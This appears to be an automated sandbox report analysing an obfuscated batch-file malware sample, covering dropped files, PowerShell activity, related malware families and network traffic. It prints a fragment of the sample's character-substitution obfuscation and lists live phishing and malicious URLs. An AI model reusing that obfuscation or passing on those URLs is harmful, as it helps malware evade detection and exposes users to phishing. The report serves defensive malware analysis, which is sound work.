HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: J1IrCccVO6.bat

Simulations

Behavior and APIs

Time	Type	Description
07:44:15	API Interceptor	2x Sleep call for process: svchost.exe modified
07:44:18	API Interceptor	50x Sleep call for process: powershell.exe modified
07:44:25	API Interceptor	7x Sleep call for process: AppInstallerPythonRedirector.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
google.com	file.exe	Get hash	malicious	Credential Flusher	Browse	216.58.206.78
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.186.110
	file.exe	Get hash	malicious	Unknown	Browse	142.250.184.206
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.46
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.142
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.78
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.174
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.217.18.14
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	142.250.184.196

ASNs

⊘No context

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.202.163.200 13.107.246.51
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.51
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse	172.202.163.200 13.107.246.51
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse	172.202.163.200 13.107.246.51
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	172.202.163.200 13.107.246.51
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.51
	http://fleurifleuri.com/	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.51
	http://mychronictravel.eu.org/	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.51
	https://docs.google.com/drawings/d/1igp9x84Q_2r8qSa1YDSk9dpVvjHGWjRjQMSbSGGfj2M/preview?pli=1VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.51
	https://louisianalaw.us/awI1AlsoTxn2APQ3EspQ3E4RAI1AoTxnz01coTxm&c=E,1,vvMSQz5CSzvUF_pnZgRSmb_4_6IhFVsFaIdJFKN2k78xDXcVLKO_NH-275AIvCQYfKD3jL3qc4bCIgEC2N6Rr4xli-ez6GBrwxbUrVz5hy4g&typo=1	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.51

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3277647589276376
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvry:KooCEYhgYEL0In
MD5:	4D7B501F37ACBE342994F7BA0E80F46A
SHA1:	8ED09930F356D5835BD9D07EE943978880394CF4
SHA-256:	CC07B7BF478BC70DC604BBAAA46F14F4ED6D0E8E862B65673236A5B3FDF233D4
SHA-512:	5A520484320895FB92379FD03113BC932F23E33AD9D62B00F88913E467558C84C0E5D34A74349C81D3FA00453564E73A714DD7E89C87F68D367494B4B850523B
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbd49eecc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221844878857565
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	AE4434455AD4FFF16548B64E8EF24837
SHA1:	F2AA6B57F84C005FF4FC815E546B392543FDB51E
SHA-256:	D4BC9F1DDFD8006BD2C54102F605435D66848EED434F52580E62B59DB2CEB7F9
SHA-512:	0B9898B8142D5C743D674D9380A06D3D4D81E0D3C62A739CC6942C7A8F4775E0F0D3389A7B2678DAE3E121D2D3E24EE68B1FF9FA34A816D88AE71A9D40774A4A
Malicious:	false
Preview:	.I..... .......A.......X\...;...{......................0.!..........{A..,...\|g.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................zY..,...\|..................(.r.,...\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07683965373502949
Encrypted:	false
SSDEEP:	3:6l//KYeC6v2Qjn13a/2/v2+llcVO/lnlZMxZNQl:6lXKzUQ53qDaOewk
MD5:	77FBD173CFFED27A5F9510969A299770
SHA1:	20389D600C11E408B8D3243EC0EE9A12C9288242
SHA-256:	B76B1BEC2ED9B0B5394813C3C33370C5B1BE5174A8D2333C7C10E793C1327AB3
SHA-512:	E0E0CD039EEB495BC07A1178E8D7CD35DA84A4E6E5F149E158AE2B495059FA59A0B09C14A0FB3524CE1C8F88FB3534C0B28559DF0858A5A7C720C2A60E7EF012
Malicious:	false
Preview:	..!p.....................................;...{...,...\|.......{A..............{A......{A..........{A]................(.r.,...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00te055x.mjp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3kiuv505.uzq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3tyhj4zz.55l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xublcva.pqt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a01eh1pd.w5q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lrp0hymj.tu2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ma5gmo04.vis.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmlqc5da.sfp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pt1guala.hi3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qovxpkys.t0w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r2qnqb10.a5h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1u14iag.5yj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrfxbe0r.olr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yiprkict.qwp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (13190), with no line terminators
Entropy (8bit):	3.898979090784377
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	J1IrCccVO6.bat
File size:	26'383 bytes
MD5:	2a6aaf30c4f4fb95035d448aea4b452e
SHA1:	c4705f2f325c3c0665ce479b79621ba03d9d4382
SHA256:	0fccf3d1fb38fa337baf707056f97ef011def859901bb922a4d0a1f25745e64f
SHA512:	22109814422f467121c80c0155615fb72105c369b91e0617e11f011c661c738ce7a59272ae362a3d3c171fb874c53c24094d742feb73ab01b5f5466dd6b8b292
SSDEEP:	768:Hrr046orC222qPZDorKS/A8r0grKZr5LmnfcY+ecZhs7rRgE9plN7rAZo1hR7rCy:X
TLSH:	37C231AC0EF3DB0F7109891FF1A397764EE6983E7BA127C653393D680D9420875D24A9
File Content Preview:	..&@cls&@set "..E.=IrA0f@iRZCpe4DgsuON3v QTJb2qzEFx96YamBUWVPn87Mw1oLXhd5jKSGtclHyk"..%..E.:~5,1%%..m....%%..E.:~11,1%%..E.:~59,1%%..E.:~51,1%%..E.:~48,1%%..E.:~21,1%%..W..c.%%..E.:~48,1%%..E.:~4,1%%..E.:~4,1%..%..E.:~15,1%%..E.:~11,1%%..E.:~58,1%%..E.:~6

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:44:16.869957924 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 26, 2024 13:44:20.283665895 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:20.283694029 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:20.283763885 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:20.283976078 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:20.283988953 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:21.137341022 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:21.140151024 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:21.140177011 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:21.141242981 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:21.141309977 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:21.146523952 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:21.146604061 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:21.287434101 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:21.287446976 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:21.475009918 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:28.257786989 CEST	49672	443	192.168.2.4	173.222.162.32
Oct 26, 2024 13:44:28.257822990 CEST	443	49672	173.222.162.32	192.168.2.4
Oct 26, 2024 13:44:31.132627964 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:31.132708073 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:31.132751942 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:31.332168102 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:31.332223892 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:31.332304955 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:31.334016085 CEST	49740	443	192.168.2.4	172.202.163.200
Oct 26, 2024 13:44:31.334032059 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:32.077595949 CEST	49737	443	192.168.2.4	142.250.185.228
Oct 26, 2024 13:44:32.077625036 CEST	443	49737	142.250.185.228	192.168.2.4
Oct 26, 2024 13:44:32.106781960 CEST	443	49740	172.202.163.200	192.168.2.4
Oct 26, 2024 13:44:32.106853008 CEST	49740	443	192.168.2.4	172.202.163.200
